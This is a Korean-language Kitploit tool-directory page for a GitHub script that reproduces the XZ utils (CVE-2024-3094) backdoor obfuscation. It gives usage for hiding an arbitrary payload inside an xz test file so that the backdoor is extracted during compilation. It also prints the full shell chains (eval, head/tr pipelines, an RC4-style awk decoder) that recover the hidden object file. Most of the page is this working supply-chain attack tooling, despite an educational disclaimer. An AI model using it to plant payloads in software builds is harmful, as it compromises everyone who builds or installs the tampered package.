Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
xzutils_backdoor_obfuscation — XZ utils 공격(CVE-2024-3094)에서 사용된 방식과 동일하게 페이로드를 난독화하는 스크립트 | Kitploit
도구/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
ExploitationReverse EngineeringMalware AnalysisSupply Chain SecurityLearning & EducationPayload DevelopmentBinary Exploitation
GitHubthomrgn/xzutils_backdoor_obfuscation

xzutils_backdoor_obfuscation

XZ utils 공격(CVE-2024-3094)에서 사용된 방식과 동일하게 페이로드를 난독화하는 스크립트

저장소 보기
10개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

xzutils_backdoor_obfuscation

이 스크립트는 XZ utils 공격(CVE-2024-3094)에 사용된 난독화 기법을 재현합니다. xzutils v5.6.0에서만 테스트되었습니다.

⚠️ 이 코드는 교육 목적으로만 제공되며 악의적인 활동에 사용되어서는 안 됩니다. 사용에 따른 책임은 본인에게 있습니다. ⚠️

사전 요구사항

작업 폴더에 xzutils 5.6.0의 원본 good-large_compressed.lzma 파일이 있어야 합니다.

사용법

다음을 실행하세요. ./obfuscate_payload.sh [your_payload]

good-large_compressed.lzma.modified 파일이 생성되며, 이 파일을 xzutils 5.6.0 소스 코드의 test/files 폴더에 good-large_compressed.lzma라는 이름으로 배치해야 합니다. 그러면 컴파일 과정 중에 백도어가 추출됩니다.

제한사항

이 코드는 원본과 동일한 크기의 수정된 liblzma_la-crc64-fast.o로 테스트되었습니다. 페이로드 크기가 제한되어 있으므로 더 큰 파일을 사용하면 작동하지 않을 수 있습니다.

페이로드 난독화 해제

이 부분은 선택 사항이며, good-large_compressed.lzma에서 페이로드의 난독화를 해제하는 방법을 보여줍니다. 원본 파일이나 이 프로젝트를 사용하여 생성된 파일에 사용할 수 있습니다.

사전 요구사항

작업 폴더에 xzutils 5.6.0의 원본 good-large_compressed.lzma와 bad-3-corrupt_lzma2.xz 파일이 있어야 합니다.

1단계: bad-3-corrupt_lzma2.xz에 숨겨진 스크립트 추출

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

이렇게 하면 2단계를 실행하는 bash 스크립트가 생성됩니다.

2단계: good-large_compressed.lzma에 숨겨진 두 번째 스크립트 추출

1단계 출력에서 가져온 다음 코드를 실행하세요.

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

이렇게 하면 3단계를 실행하는 또 다른 bash 스크립트가 생성됩니다.

3단계: good-large_compressed.lzma에 숨겨진 페이로드 추출

2단계 출력에서 가져온 다음 코드를 실행하세요.

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

이렇게 하면 난독화된 페이로드 liblzma_la-crc64-fast.o가 추출됩니다.

도구 다운로드